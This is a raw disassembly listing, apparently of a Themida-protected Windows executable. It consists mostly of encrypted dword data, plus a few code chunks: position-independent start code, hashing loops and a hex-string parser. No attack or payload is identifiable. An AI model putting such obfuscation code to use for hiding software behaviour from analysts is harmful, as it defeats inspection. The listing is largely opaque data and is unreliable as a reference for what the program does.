0F4FEAF8h, 80AD17BCh, 719420E0h dd 21009E7Bh, 94317E96h, 1F394E0Bh, 12344C62h, 382820B8h dd 851F18C6h, 8A0B9450h, 9FB4994Dh, 0EBCD5F10h, 99E1E70Fh dd 14830035h, 16080D98h, 8DF45E4Ah, 0E99AEC50h, 8FD23A05h dd 9CC1F850h, 0E87C1152h, 27B22B8Eh, 90917414h, 7597A48Ch dd 90D3F09h, 0B3640108h, 0F040D7ADh, 0A39D48h, 15B87594h dd 0E2C678EFh, 170EB606h, 5901E5h, 0B08057A2h, 8109374Fh dd 30858B33h, 985DA803h, 256D1FAEh, 0E1174ACCh, 0C18D4780h dd 2A8EB4D0h, 0DB612420h, 0A0B0045h, 33E1E228h, 48014C30h dd 0EE2A7169h, 4ECC67D1h, 305FE89Ah, 9939A0F4h, 0C0B01F28h dd 97C050BCh, 0C276EE1Eh, 949C0CA9h, 1C364081h, 4CE72151h dd 4F78C77Ch, 8ED5EE05h, 6080A813h, 0FE58038h, 57A33183h dd 0B058011Fh, 2A01D5C1h, 0B7BD428h, 41B64FEDh, 599B8F86h dd 0DF704000h, 9D50AFEEh, 769E0139h, 781F89F7h, 53C443D6h dd 3075AAE0h, 203FA927h, 9F5E0AB4h, 0C205804h, 0F4CD1584h dd 0E74CBB20h, 0D3338020h, 1990155h, 2D8D8FA4h, 0E4E13506h dd 69099F6Dh, 98C350CDh, 3FBBB238h, 5D80151Bh, 694CF38Eh dd 0A7005EE5h, 0DEA69FC1h, 0C7F1DBCh, 903D198Ah, 0DB00A5C9h dd 260131E3h, 8036A4h, 41F95C4Dh, 32206E91h, 0B07BEC2Ah dd 6A305100h, 7AB3F899h, 2C2D24D6h, 4F003DF9h, 27595769h dd 38002F95h, 0ACBDBEE6h, 52170DB8h, 2B05A8E8h, 0A4877866h dd 8E006A30h, 0B65EFB6Ch, 1F6D6185h, 0C968B59Dh, 0DC00D0F1h dd 0C180B8EEh, 0A8271502h, 0FAE09972h, 392A00BCh, 24920244h dd 8E09266Ah, 0C80BE672h, 0E23F36DCh, 8DF13CFCh, 0FD53A000h dd 0D4AD2E6Dh, 37789201h, 5E99EE3Ah, 88102321h, 0DD17D0h dd 366D7A14h, 5FE3660Bh, 0A94771C0h, 98208Ah, 492E5056h dd 38A5426Fh, 0A73C9117h, 1702088h, 0C7FB271Bh, 7012C029h dd 560073C4h, 41B3039Ch, 8A78BAh, 0B88DA879h, 80496F19h dd 0E9F69900h, 72C769FEh, 7BCA4E0h, 85C3A82Dh, 915FE01Dh dd 5E00C0D4h, 5D5CA781h, 3D213655h, 0A049B089h, 523D8Fh dd 0CA5CE744h, 0DC991EA4h, 0DD96B380h, 18629F98h, 19AA5EDCh dd 0F0F78174h, 2C991E04h, 9516803Ch, 0C843E920h, 0A0DAB847h dd 5B92EB64h, 2D002096h, 9D00B129h, 7557BC8Fh, 10C2BE3h dd 270F25D6h, 1063EF9Fh, 284DC478h, 3DB09140h, 121E7B06h dd 0C2B526Fh, 0A6B91E50h, 70B84578h, 0BB9D6808h, 0EBA8474Ah dd 0F144800h, 0AA1ED933h, 1100CCA0h, 5D18B872h, 61D8008Dh dd 3CB447F5h, 6D0A7197h, 0BCB57638h, 80770E09h, 39F7F63Ch dd 0C09CBC21h, 9E59A39Ah, 1844B58h, 1F3B7A51h, 247CF9E5h dd 0D600F443h, 9B0524F6h, 0BF0F8FA2h, 0A216907Ch, 6040A631h dd 256EF0D8h, 0E490815Fh, 3E22B4FFh, 2B14008Fh, 4F756A4Ah dd 173C4D05h, 638E00B9h, 956A4B5h, 810974Eh, 0EF1D8955h dd 9B40925Ch, 67C6E054h, 9D7913DDh, 0BBD8C88Ch, 0EC4B2002h dd 51DB3BD1h, 91E2076Ch, 8B25C057h, 0CA013258h, 30DB0940h dd 7422E077h, 47FBB900h, 0BCBF73D1h, 0BB3E8600h, 0FA7BB4B2h dd 8F190112h, 0EDD2E99Fh, 205ED55Bh, 45129E04h, 30D03E29h dd 1FCE1877h, 0C0BD42BBh, 59EEA07Bh, 0CB54295Ch, 950FF648h dd 0F7AFCD0h, 0A794C2A3h, 0B0E641h, 0A5FE96C4h, 7E0FCF21h dd 0D079EB3Dh, 0C2FA6DD0h, 6C569F00h, 0BC083BF1h, 5FE8EFh dd 759100D2h, 77B7E36Dh, 0F6001A81h, 0BE25025Dh, 370B33E4h dd 0D5596188h, 5438E0A7h, 69C43502h, 723EF8A3h, 657500E4h dd 2047091Ah, 0C13CEB9h, 0A809DC6Dh, 0EF5C85EBh, 340D980Fh dd 96680780h, 1C778E22h, 2680B4AAh, 0F4FEAF8h, 80AD17BCh dd 719420E0h, 21009E7Bh dd 94317E96h, 1F394E0Bh, 12344C62h, 382820B8h, 851F18C6h dd 8A0B9450h, 9FB4994Dh, 0EBCD5F10h, 99E1E70Fh, 14830035h dd 16080D98h, 8DF45E4Ah, 0E99AEC50h, 8FD23A05h, 9CC1F850h dd 0E87C1152h, 27B22B8Eh, 90917414h, 7597A48Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53C0A4: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_53F46D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 0B00000h, 0D4C96A00h, 57533777h, 2 dup(0) dd 9E000000h, 6 dup(0) dd 0FF90C000h, 0C4CBFFh, 4 dup(0) dd 59FF7300h, 2 dup(0) dd 40000000h, 2 dup(0) dd 9F69DD00h, 0 dd 9F949900h, 5 dup(0) dd 32969C00h, 0B9h, 0 dd 49010800h, 2 dup(0) dd 5E995300h, 3Fh, 2 dup(0) dd 7A0BD800h, 104h, 0Dh dup(0) dd 0FFE0B000h, 0FFh, 0A38D5300h, 3 dup(0) dd 8C00h, 0 dd 57313E00h, 0 dd 57533700h, 6A6000h, 21669600h, 0C9h, 9 dup(0) dd 40878700h, 0Fh, 0Eh dup(0) dd 200h, 0Ah dup(0) dd 0FE030400h, 6E6C7Fh, 5 dup(0) dd 587F1D00h, 0FAh, 0FE030400h, 7Fh, 2 dup(0) dd 9F69DD00h, 7 dup(0) dd 0F7750500h, 0A0h, 64198A00h, 0C0h, 0 dd 12FEF000h, 2 dup(0) dd 58B27A00h, 2F8D8D00h, 48h, 2 dup(0) dd 9F69DD00h, 9 dup(0) dd 9F9C3700h, 2 dup(0) dd 5AA63E00h, 0 dd 593A4E00h, 6 dup(0) dd 0FB5E200h, 8Ah, 0 dd 0F54A5000h, 3500077h, 0 dd 5811C300h, 5A139D00h, 50F00h, 200h, 9 dup(0) dd 9EB16800h, 5 dup(0) dd 57685400h, 6 dup(0) dd 0D4000000h, 77h, 0Eh dup(0) dd 7CF4E900h, 36h, 0AEB56F00h, 0Eh dup(0) dd 3ADF6700h, 0E4h, 6 dup(0) dd 0A6F90000h, 0FFh, 2 dup(0) dd 100h, 0 dd 0F7EBB300h, 0FF8E6877h, 1C1EAFFh, 6 dup(0) dd 604C00h, 0A000400h, 0 dd 0E793EF00h, 77h, 371700h, 2 dup(0) dd 0F43FD400h, 7Eh, 0 dd 6B4C00h, 0B2693900h, 0FE030400h, 7Fh, 6B4C00h, 18077500h dd 0Fh, 1Ah dup(0) dd 0FF9BD400h, 576854FFh, 3 dup(0) dd 0E8000h, 0Ch dup(0) dd 100h, 0Ah dup(0) dd 0E7AC5E00h, 77h, 3 dup(0) dd 5701C700h, 585F9100h, 0A023E800h, 3 dup(0) dd 200h, 2 dup(0) dd 9FFDFF00h, 0FBh, 6 dup(0) dd 53002300h, 5 dup(0) dd 21212100h, 21h, 0 dd 0E94ED000h, 9F314580h, 57313E00h, 0A1B13400h, 3 dup(0) dd 0ACBA2000h, 52h, 5 dup(0) dd 2CBD00h, 0 dd 0FFFFFF00h, 0A19BACFFh, 0 dd 68E100h, 0 dd 35B00h, 0 dd 0FDCCA300h, 0EFh, 4 dup(0) dd 57274900h, 0EC00h, 400h, 0 dd 1FFF00h, 3 dup(0) dd 0FE033C00h, 7Fh, 0 dd 8816AD00h, 20h, 0 dd 0A1731600h, 2 dup(0) dd 6781E800h, 1, 6 dup(0) dd 1900h, 57533700h, 5 dup(0) dd 57876200h, 3 dup(0) dd 40000000h, 4 dup(0) dd 9FA00F00h, 0 dd 0F18DEF00h, 0F4h, 2214000h, 0 dd 24242400h, 9F939324h, 0 dd 57685400h, 0C335D800h, 18h, 0FE288600h, 0C07Fh, 0 dd 0FE000400h, 7Fh, 4 dup(0) dd 0B6000000h, 58019900h, 4 dup(0) dd 56707D00h, 78h, 58F86B00h, 0Eh dup(0) dd 57E59900h, 2 dup(0) dd 59B12000h, 8B7B9100h, 60h, 2 dup(0) dd 9F69DD00h, 57D8D200h, 7 dup(0) dd 57002300h, 4 dup(0) dd 12FF5400h, 3 dup(0) dd 0F97F00h, 6 dup(0) dd 12FF5400h, 5 dup(0) dd 6D71D300h, 74AF3434h, 34h, 0 dd 5A5DD900h, 0Ch dup(0) dd 0A17FD800h, 0FF8B1400h, 0FFh, 8 dup(0) dd 26831700h, 5Fh, 0 dd 300h, 3 dup(0) dd 5939F100h, 0 dd 0E73D4500h, 0A1796E77h, 583FA600h, 3 dup(0) dd 0A6E41900h, 53F9B1FFh, 57002300h, 0AE6400h, 0Dh dup(0) dd 0F525A000h, 0F9h, 7 dup(0) dd 9F710F00h, 0 dd 661CB100h, 5, 0 dd 49010800h, 12FFE000h, 0 dd 53C6B500h, 4 dup(0) dd 5EFFC500h, 3044Dh, 4 dup(0) dd 8151CE00h, 76h, 0 dd 0B05700h, 6 dup(0) dd 591BB200h, 49010800h, 3 dup(0) dd 56BFDE00h, 0DBh, 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h dd 32336D65h, 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Dh dup(0) dd 56FF5400h, 3 dup(0) dd 9F3E3B00h, 2 dup(0) dd 6DD97400h, 0A0h, 4 dup(0) dd 0DBFEA500h, 0ABh, 2 dup(0) dd 628C00h, 974F6900h, 0E600006Dh, 77h, 4 dup(0) dd 100h, 6 dup(0) dd 36363600h, 598CB536h, 2 dup(0) dd 9FADFE00h, 2, 0 dd 587EF700h, 3 dup(0) dd 400h, 2 dup(0) dd 0FFFFFF00h, 9F8C0AFFh, 0FE030400h, 7Fh, 4 dup(0) dd 0E7796300h, 511A6077h, 3 dup(0) dd 0D6B50D00h, 57C17F92h, 0 dd 0FE030400h, 7Fh, 57F0ED00h, 100h, 7 dup(0) dd 0AFA1FE00h, 0Bh dup(0) dd 57876200h, 8 dup(0) dd 0A6FC2700h, 0FFh, 0 dd 100h, 0 dd 0FE030400h, 7Fh, 8 dup(0) dd 1BD00000h, 0 dd 0DFFFB000h, 1, 2 dup(0) dd 780600h, 0Bh dup(0) dd 4B12EF00h, 39h, 0 dd 0FE030400h, 0FB5E27Fh, 8Ah, 9FA00F00h, 3 dup(0) dd 5A86E600h, 68E100h, 2 dup(0) dd 100h, 0 dd 0FE030400h, 7Fh, 0Bh dup(0) dd 40000000h, 5 dup(0) dd 5A643E00h, 4 dup(0) dd 0FB5E200h, 8Ah, 13h dup(0) dd 0A800h, 0 dd 57274900h, 0 dd 0FD8D8900h, 74h, 4 dup(0) dd 0CDB6E600h, 0Dh, 0 dd 59813100h, 0 dd 0E7A09900h, 77h, 7 dup(0) dd 56BFDE00h, 0DBh, 9 dup(0) dd 100h, 5A8DE300h, 3 dup(0) dd 0E7A83700h, 77h, 6 dup(0) dd 0FFFFFE00h, 0F575F5FFh, 8Ah, 2 dup(0) dd 0FF971F00h, 39FFh, 0 dd 0FE030400h, 7Fh, 0 dd 0E8360C00h, 77h, 0 dd 67CA7600h, 1Dh, 4 dup(0) dd 48C0A400h, 0FAh, 6 dup(0) dd 0FB5E200h, 948Ah, 2 dup(0) dd 0ADB1CA00h, 0AFFF8400h, 5 dup(0) dd 57021700h, 4 dup(0) dd 9F09F700h, 5 dup(0) dd 30400h, 0 dd 49388500h, 6FEh, 57B71900h, 0F5EE6700h, 0 dd 74D04300h, 0DD00000h, 57685400h, 0 dd 71C67A00h, 0E1h, 0Fh dup(0) dd 83826A00h, 0D9h, 0 dd 0BE8D8D00h, 70h, 0 dd 40000000h, 486CB800h, 2, 5 dup(0) dd 0A400h, 2 dup(0) dd 800000h, 2 dup(0) dd 20005000h, 576854FEh, 4 dup(0) dd 0FFFF00h, 2 dup(0) dd 0D8173300h, 26h, 0 dd 57686600h, 3 dup(0) dd 12FFC400h, 0Ch dup(0) dd 577E7100h, 0 dd 5A2A9E00h, 2Bh dup(0) dd 12FF5400h, 11h dup(0) dd 4934EB00h, 46h, 584F1D00h, 28h dup(0) dd 12A700h, 0 dd 24015B00h, 5A299054h, 9 dup(0) dd 100h, 0F426700h, 0E2h, 0Ch dup(0) dd 9190DE00h, 9ED55476h, 0 dd 0FE030400h, 7Fh, 0 dd 9F69DD00h, 3 dup(0) dd 0B400h, 0AC00h, 6 dup(0) dd 56674100h, 6 dup(0) dd 12FEF000h, 0Bh dup(0) dd 593A8700h, 46EADA00h, 0ECh, 5 dup(0) dd 0E83E6800h, 77h, 57685400h, 0 dd 5990C900h, 4 dup(0) dd 9E000000h, 0C530DF00h, 0A9h, 4 dup(0) dd 9FFA5600h, 0 dd 2DB8F400h, 0C1h, 0 dd 200h, 939300h, 7 dup(0) dd 57955200h, 6 dup(0) dd 5A853C00h, 0 dd 12FFE800h, 0E7A5FD00h, 77h, 3 dup(0) dd 57533700h, 0B8779900h, 3Bh, 6 dup(0) dd 0E7A14400h, 4D366877h, 55h, 86C00h, 26h dup(0) dd 2A4C7100h, 49010856h, 5 dup(0) dd 5AC9C300h, 3 dup(0) dd 57685400h, 3 dup(0) dd 5A407700h, 58000000h, 2, 9 dup(0) dd 0FF918000h, 0FFh, 2 dup(0) dd 57002300h, 12h dup(0) dd 0E8279000h, 77h, 0B6BA6300h, 0FEh, 5 dup(0) dd 40000000h, 3 dup(0) dd 9F8C0A00h, 0 dd 5938FA00h, 3 dup(0) dd 0FE030400h, 7Fh, 6 dup(0) dd 6B4C00h, 0FE030400h, 7Fh, 50F00h, 3 dup(0) dd 93D89000h, 13h, 2 dup(0) dd 100h, 7 dup(0) dd 0FF917C00h, 0FFh, 6 dup(0) dd 0FFFFB000h, 1, 0 dd 0E7C48600h, 7CCA2177h, 36h, 0BE8C1500h, 7F219D12h, 0A9h dd 4 dup(0) dd 40000000h, 5 dup(0) dd 0A9FD6100h, 0FFh, 2 dup(0) dd 59F5C300h, 2 dup(0) dd 57F32600h, 2 dup(0) dd 65685400h, 6164696Dh, 20h dup(0) dd 5B2DD600h, 6 dup(0) dd 59070000h, 0 dd 40000000h, 3 dup(0) dd 8807BE00h, 13727302h, 97h, 0E78B8200h, 9E0FE677h, 2 dup(0) dd 57685400h, 0E78B8200h, 77h, 3 dup(0) dd 400h, 5 dup(0) dd 40000000h, 59000000h, 9F69DD02h, 0 dd 5A13CD00h, 2A57BC00h, 6, 3 dup(0) dd 0C1B5600h, 0BF0B0h, 57DA9D00h, 7 dup(0) dd 0FE030400h, 7Fh, 57876200h, 81429400h, 0FEh, 6B4C00h dd 2 dup(0) dd 8A950500h, 1Bh, 4 dup(0) dd 36F100h, 3 dup(0) dd 0DD5ECC00h, 77h, 3 dup(0) dd 0BF000000h, 7 dup(0) dd 2B8200h, 3 dup(0) dd 9E000000h, 2 dup(0) dd 2428B400h, 88h, 5 dup(0) dd 5B25C700h, 0E8216800h, 0ED00AC77h, 0FFh, 3A000h, 9BD400h dd 0 dd 0B41B4000h, 76h, 0AE5FF400h, 0 dd 0A897AC00h, 0FFh, 0E8216400h, 77h, 3 dup(0) dd 57A27900h, 0 dd 0F8F07F00h, 24015B5Ch, 54h, 0FFFFFF00h, 411519FFh, 57AC804Bh dd 5 dup(0) dd 0DD000000h, 77h, 0 dd 898B6F00h, 0FBh, 6B4C00h, 0E805D800h, 77h, 2 dup(0) dd 9F923400h, 0 dd 0F7AC0500h, 0A0h, 9FA03700h, 5 dup(0) dd 56CBAC00h, 3 dup(0) dd 10A9E900h, 2 dup(0) dd 0FFFF00h, 2 dup(0) dd 0FE030400h, 787Fh, 5 dup(0) dd 53E94D00h, 9 dup(0) dd 0ED009C00h, 0FFh, 200h, 0 dd 0DCCBDE00h, 4Ch, 0 dd 4934EB00h, 46h, 0 dd 9000h, 5 dup(0) dd 7400h, 5A2A4C00h, 0 dd 0FFA08400h, 0FFh, 3 dup(0) dd 8E800h, 200h, 0 dd 0CE5EE400h, 0E8h, 6 dup(0) dd 100h, 0 dd 74AE3500h, 0FFE9DD34h, 0FFh, 8800h, 0FE030400h, 7Fh dd 4 dup(0) dd 545F0200h, 5 dup(0) dd 7000h, 9 dup(0) dd 11111100h, 0FF9D9011h, 0FFh, 5536EB00h, 53h, 9 dup(0) dd 57685400h, 33333300h, 2 dup(33333333h), 53E94D33h, 3 dup(0) dd 40000C00h, 2, 2 dup(0) dd 9F229200h, 0EF561700h, 0FFh, 53F33500h, 7C00h, 4 dup(0) dd 0D817BB00h, 40100026h, 8 dup(0) dd 780600h, 56FF6E00h, 0 dd 0D50000h, 0B3h dup(0) dd 58105500h, 0 dd 59DF7300h, 4 dup(0) dd 2F8D8D00h, 57274948h, 2 dup(0) dd 5AFFFF00h, 21h dup(0) dd 53E94D00h, 3 dup(0) dd 0A3999500h, 2 dup(0) dd 5A9F5300h, 2 dup(0) dd 5A070E00h, 0 dd 5A349800h, 2 dup(0) dd 5B5B2500h, 0FE030483h, 0A07Fh, 3 dup(0) dd 57876200h, 0 dd 53FE5300h, 0FFF71500h, 0FFh, 6 dup(0) dd 5A48A800h, 81821301h, 53E94D1Fh, 0Ah dup(0) dd 2633A900h, 98h, 0BDAA00h, 6 dup(0) dd 0BC26A00h, 6, 0 dd 200h, 2B00h, 2 dup(0) dd 100000h, 8 dup(0) dd 9E003E00h, 0E001400h, 4 dup(0) dd 6B4C00h, 0 dd 59118800h, 80h, 88000000h, 2, 2 dup(0) dd 57685400h, 7 dup(0) dd 0E88D8D00h, 0D1h, 30400h, 2 dup(0) dd 57A41400h, 2 dup(0) dd 4791B900h, 0DDh, 5 dup(0) dd 57313E00h, 2 dup(0) dd 9FA00F00h, 5 dup(0) dd 0FB5E200h, 8Ah, 0 dd 0EFAB8D00h, 0AFh, 9F69DD00h, 0A8971F00h, 0FFh, 0 dd 6B4C00h, 0FE030400h, 7Fh, 0 dd 55FFBA00h, 0E75CB5FFh, 77h, 6 dup(0) dd 9F5E2E00h, 58E94D00h, 0 dd 12FFF000h, 57313E00h, 0 dd 12FF5400h, 5 dup(0) dd 0FB3AD800h, 0F52E0FACh, 77h, 0 dd 0FF7FFD00h, 4 dup(0) dd 0E8061800h, 77h, 0 dd 57D3A000h, 0 dd 9C00h, 50F00h, 2D343000h, 31h, 59C7E900h, 5701EF00h dd 6 dup(0) dd 9F70C400h, 4934EB00h, 5A6FC746h, 3 dup(0) dd 68519D00h, 0B3h, 3 dup(0) dd 57685400h, 2 dup(0) dd 400A0C00h, 7 dup(0) dd 0E82FE800h, 0FFFFFD77h, 0FFh, 3 dup(0) dd 0FFFAF100h, 0FFh, 4 dup(0) dd 9F000000h, 2, 2 dup(0) dd 0FE030400h, 14347Fh, 13h dup(0) dd 0FE030400h, 5797A87Fh, 0FF917C00h, 0FFh, 6 dup(0) dd 22222200h, 22222222h, 22h, 3 dup(0) dd 46690D00h, 2, 75B500h, 5 dup(0) dd 9800h, 0E9A91300h, 0F7h, 4001D800h, 0B800h, 0C00B0000h dd 18C20374h, 24448B00h, 0E8530Ch, 5B000000h, 17C381h dd 5C890000h, 44891024h, 0B85B1424h, 9FA037h, 448BE0FFh dd 0E0FF0424h, 15h dup(0) dd 59900D00h, 0 dd 30400h, 6 dup(0) dd 9F915B00h, 0 dd 0A7033C00h, 5A6FC7FFh, 0F59FB700h, 5A2F2057h, 4000C800h dd 0A0156800h, 2 dup(0) dd 57685400h, 0 dd 0E7A13F00h, 77h, 585F9100h, 0 dd 0E5FFE000h, 10A9E93Bh, 0Ah dup(0) dd 0A3CBA900h, 13h, 0Ch dup(0) dd 0E7266E00h, 5C3A4377h, 6E755F6Dh, 6B636170h, 7265h dd 85h dup(0) dd 53C5DD00h, 3 dup(0) dd 3C60000h, 4 dup(0) dd 8400h, 2 dup(0) dd 0F26D5100h, 8Eh, 7 dup(0) dd 8EB00h, 7 dup(0) dd 5B000000h, 2, 0 dd 57A1F000h, 53F00900h, 5907EC00h, 4 dup(0) dd 4934EB00h, 46h, 8 dup(0) dd 9F2BDE00h, 7 dup(0) dd 57533700h, 0 dd 7D8EA500h, 9, 0 dd 0F0385600h, 564324h, 5 dup(0) dd 0AD000000h, 5 dup(0) dd 1857C900h, 88h, 5A412700h, 0C530DF00h, 0A9h, 0Ah dup(0) dd 0A8AEB800h, 0FFh, 3 dup(0) dd offset dword_57E300 dd 0 dd 9F3E3B00h, 28010500h, 0Ah, 0 dd 0E805D800h, 77h, 0 dd 0A8119E00h, 0FFh, 0A0326800h, 0 dd 0F5180B00h, 77h, 0 dd 587EE400h, 0 dd 7D6C9100h, 3C481h, 8 dup(0) dd 1B46D100h, 33h, 4 dup(0) dd 1FCFC00h, 80h, 57002300h, 0A3A5E700h, 4 dup(0) dd 8E400h, 3 dup(0) dd 0F5000000h, 77h, 4 dup(0) dd 0A593F400h, 0F4h, 5 dup(0) dd 591D1F00h, 2 dup(0) dd 0CB047600h, 0BEh, 3 dup(0) dd 0FE030400h, 7Fh, 4 dup(0) dd 5AA75B00h, 54E3D700h, 70h, 0 dd 57DA0600h, 3 dup(0) dd 107500h, 2 dup(0) dd 0FE030400h, 7Fh, 0 dd 0CA71AC00h, 28h, 2 dup(0) dd 56CBAC00h, 3 dup(0) dd offset dword_576400 dd 0 dd offset dword_4A04A0+2860h dd 22FE885h, 3 dup(0) dd 57685400h, 0 dd 0CC00h, 0 dd 0FF8D9700h, 0FFh, 5 dup(0) dd 6B4C00h, 0 dd 57F32600h, 5 dup(0) dd 8000h, 4 dup(0) dd 0D4C96A00h, 77h, 0 dd 0DD23D700h, 77h, 0 dd 0CEABDF00h, 0FF917C5Fh, 490108FFh, 5 dup(0) dd 486B9C00h, 2, 2 dup(0) dd 84A85300h, 156h, 9 dup(0) dd 9F69DD00h, 0DD189A00h, 58DFBF77h, 0 dd 57A34A00h, 12h dup(0) dd 5993A800h, 0BF00F880h, 36B7A00h, 0BAh, 5 dup(0) dd 0BC0E3E00h, 66h, 3 dup(0) dd 5A000000h, 0B05702h, 3 dup(0) dd 0BF743E00h, 82h dup(0) dd 58000000h, 2 dup(0) dd 0B000h, 0 dword_53EE34 dd 48491000h, 2Ah, 13h dup(0) dd 5A400800h, 2 dup(0) dd 0FB5E200h, 8Ah, 0 dd 9F6A2D00h, 4DE00000h, 0 dd 0A5BDD100h, 0FFh, 100h, 58244900h, 0Ah dup(0) dd 57274900h, 0EBA6E900h, 77h, 3 dup(0) dd 9F69DD00h, 2 dup(0) dd 5A619900h, 5 dup(0) dd 0FF910C00h, 0FFh, 0 dd 0E6D70600h, 77h, 0Bh dup(0) dd 0FF8B1400h, 0FFh, 53F00A00h, 24015B00h, 54h, 0E7A14400h dd 0A8005077h, 0FDh, 3 dup(0) dd 4960200h, 0FFh, 0 dd 4934EB00h, 46h, 0FE030400h, 0DD59F07Fh, 77h, 57685400h dd 0 dd 9FA00F00h, 3 dup(0) dd 53E40900h, 7 dup(0) dd 0E776CD00h, 40000077h, 2, 0E75CB500h, 0A7BC2D77h, 0FFh dd 54025600h, 12FF5400h, 64h dup(0) dd 0A0156400h, 0Dh dup(0) dd 597F5D00h, 32h, 0Ch dup(0) dd 50F00h, 0 dd 0B5C800h, 55597400h, 86h, 0 dd 4934EB00h, 46h, 5AD80900h, 4 dup(0) dd 0E4800h, 7 dup(0) dd 57313E00h, 2 dup(0) dd 100h, 9F939300h, 0Ah dup(0) dd 0E74A3B00h, 77h, 6 dup(0) dd 49010800h, 18h dup(0) dd 100h, 0 dd 57FFC200h, 9F710F00h, 0 dd 59000000h, 88296902h, 3Bh, 6B4C00h, 2 dup(0) dd 4000FE00h, 0 dd 28939D00h, 71h, 0 dd 12FFA400h, 0 dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0) dd 9E0FE600h, 0 dd 0FD4E8700h, 0CDh, 3 dup(0) dd 12FF5400h, 0 dd 0A777AD00h, 5A71100Dh, 0E9A91300h, 0F7h, 7 dup(0) dd 582FD800h, 2 dup(0) dd 100h, 0FF918000h, 0FFh, 0 dd 53E11900h, 0 dd 93CCBB00h, 0E5h, 0 dd 800h, 2 dup(0) dd 100h, 5 dup(0) dd 0C5209900h, 7D11Bh, 8 dup(0) dd 57313E00h, 100h, 2 dup(0) dd 39000000h, 0Dh, 5A400800h, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F46D: ; CODE XREF: start:loc_53C0A4j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 60B33D3h mov [ebp+60B102Dh], edx mov [ebp+60B2891h], esi mov [ebp+60B217Dh], eax cmp dword ptr [ebp+60B067Dh], 0 jz short loc_53F4A5 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53F4A5: ; CODE XREF: start+5F483j mov eax, [esp+40h+var_1C] mov [ebp+60B21A5h], eax push 45h call sub_53F559 push 783749Ah call sub_53F59F push 0A894B25h call sub_53F59F jmp loc_53F6E3 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F559 proc near ; CODE XREF: start+5F49Dp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 60B34C1h mov ebx, edx mov [ebp+var_28], 0 loc_53F575: ; CODE XREF: sub_53F559+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53F594 mov eax, [ebp+arg_0] mov [ebx+60B342Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_53F575 ; --------------------------------------------------------------------------- loc_53F594: ; CODE XREF: sub_53F559+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53F559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F59F proc near ; CODE XREF: start+5F4A7p start+5F4B1p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 60B350Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53F5C5: ; CODE XREF: sub_53F59F+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53F5C5 mov [ebp+var_84], 0 lea edi, [edx+60B342Bh] lea esi, [ebp+var_80] loc_53F5F5: ; CODE XREF: sub_53F59F+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53F601: ; CODE XREF: sub_53F59F+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53F601 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53F5F5 popa leave retn 4 sub_53F59F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53F63F ; --------------------------------------------------------------------------- loc_53F63B: ; CODE XREF: Themida_:0053F642j inc dword ptr [ebp-4] inc esi loc_53F63F: ; CODE XREF: Themida_:0053F639j cmp byte ptr [esi], 0 jnz short loc_53F63B mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53F6D0 ; --------------------------------------------------------------------------- loc_53F651: ; CODE XREF: Themida_:0053F6D3j mov dword ptr [ebp-8], 0 jmp short loc_53F6C7 ; --------------------------------------------------------------------------- loc_53F65A: ; CODE XREF: Themida_:0053F6CBj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53F6B4 ; --------------------------------------------------------------------------- loc_53F66A: ; CODE XREF: Themida_:0053F6B8j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53F68C cmp bl, 39h ja short loc_53F68C sub bl, 30h jmp short loc_53F6AE ; --------------------------------------------------------------------------- loc_53F68C: ; CODE XREF: Themida_:0053F680j ; Themida_:0053F685j cmp bl, 61h jb short loc_53F69E cmp bl, 66h ja short loc_53F69E sub bl, 61h add bl, 0Ah jmp short loc_53F6AE ; --------------------------------------------------------------------------- loc_53F69E: ; CODE XREF: Themida_:0053F68Fj ; Themida_:0053F694j cmp bl, 41h jb short loc_53F6AE cmp bl, 46h ja short loc_53F6AE 